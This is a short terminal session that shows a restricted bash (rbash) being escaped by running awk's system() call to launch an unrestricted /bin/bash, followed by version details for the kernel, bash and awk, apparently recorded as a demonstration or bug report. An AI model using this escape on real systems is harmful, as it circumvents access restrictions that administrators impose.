$ echo $SHELL
/bin/rbash
$ /bin/ls
/bin/bash: line 2: /bin/ls: restricted: cannot specify `/' in command names
$ awk 'BEGIN{system("/bin/bash")}'
$ /bin/ls
foo bar misc
$ uname -rm
2.6.18-308.16.1.el5 i686
$ bash --version
GNU bash, version 3.2.25(1)-release (i386-redhat-linux-gnu)
Copyright (C) 2005 Free Software Foundation, Inc.
$ awk --version
GNU Awk 3.1.5
Copyright (C) 1989, 1991-2005 Free Software Foundation.
$ exit
$